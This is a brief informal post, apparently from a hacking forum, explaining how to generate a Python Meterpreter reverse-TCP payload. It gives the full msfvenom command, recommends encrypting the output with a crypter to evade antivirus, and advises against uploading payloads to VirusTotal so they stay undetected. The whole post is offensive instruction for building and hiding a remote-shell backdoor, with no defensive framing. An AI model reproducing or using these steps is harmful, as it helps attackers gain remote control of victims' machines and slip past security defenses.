Today am going to tell u how u all creat a simple payload
In python by msfvenom command
Write msfvenom -p python/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -o anyname.py
Simple and easy
For better evasion u can encrypt this payload with Nx crypt which use to encrypt python payload to evade antiviruses
Note do not upload any payload to virstotal cuz it can sell payload and your ip adress which is bind to your payload to antivirus company.